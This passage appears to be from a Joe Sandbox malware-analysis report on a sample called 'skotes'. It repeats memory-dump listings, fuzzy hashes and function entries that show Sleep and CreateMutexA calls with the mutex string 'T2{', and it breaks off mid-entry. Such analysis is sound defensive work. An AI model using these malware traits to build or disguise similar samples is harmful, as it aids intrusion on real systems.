Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7ea57f763fab5e63a703a9569ed83a93da7a680dc6197dd7dda1d0ba670ed3cf
Instruction ID: ed635606670fc72e99d83a65ea45675165944b0ce98be95a927a59479efec592
Opcode Fuzzy Hash: 7ea57f763fab5e63a703a9569ed83a93da7a680dc6197dd7dda1d0ba670ed3cf
Instruction Fuzzy Hash: 9AE08C30182508BBCF35BB18DC1DA8C3B29EF21750F401810F8089A229CB29EEA2CB80

Function 00759BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: c1e92e5bd06d50c93fc159ea274e22b73266e6706717a9661fd9f1f82fc26c5a
Instruction ID: 67c947d5d30eca6ff6b8e22558317e6037c138265614fa51d7650ad3c49fc56e
Opcode Fuzzy Hash: c1e92e5bd06d50c93fc159ea274e22b73266e6706717a9661fd9f1f82fc26c5a
Instruction Fuzzy Hash: 82316A71700244DBEB18DB78DC8D7DDB762EB91311F208328E914AB3D6D7BD99888762

Function 00759F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 68aef4fa4918601e0e76f38863779964aadcbc8fb06e15deb079158708673083
Instruction ID: dbd4316005cc168b0d629009a6aba41ffe36b4150758561b6d56d16420584620
Opcode Fuzzy Hash: 68aef4fa4918601e0e76f38863779964aadcbc8fb06e15deb079158708673083
Instruction Fuzzy Hash: 9C314A71710144EBEB18DB68DC897DCB762EF85311F204729E814EB2D1D7BE59888712

Function 0075A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 8ca7afda75594cad741694fd7fa4239dbd82b8674956ccb178d7733bb65574d3
Instruction ID: ad67c0ad346913a7eae69fbe574509a49312e5744c0445bc687499e9cd8b2bb0
Opcode Fuzzy Hash: 8ca7afda75594cad741694fd7fa4239dbd82b8674956ccb178d7733bb65574d3
Instruction Fuzzy Hash: A6315971B10144ABEB18DB68DC89BDCB772EB91311F204339E814AB2C1D7BD59888712

Function 0075A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: dc549e624ea7723f582a962bb9ff0b5f89095b10c81aa649e0f57898a1a47634
Instruction ID: 7c80905d6a06397a14d79c75bd15d825b81bb61272724ea2d8a8651432edeebb
Opcode Fuzzy Hash: dc549e624ea7723f582a962bb9ff0b5f89095b10c81aa649e0f57898a1a47634
Instruction Fuzzy Hash: E3314A71B00144EBEB18DB68DC8DBDDB772ABD5311F204339E804AB2D1D7BD59888712

Function 0075A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

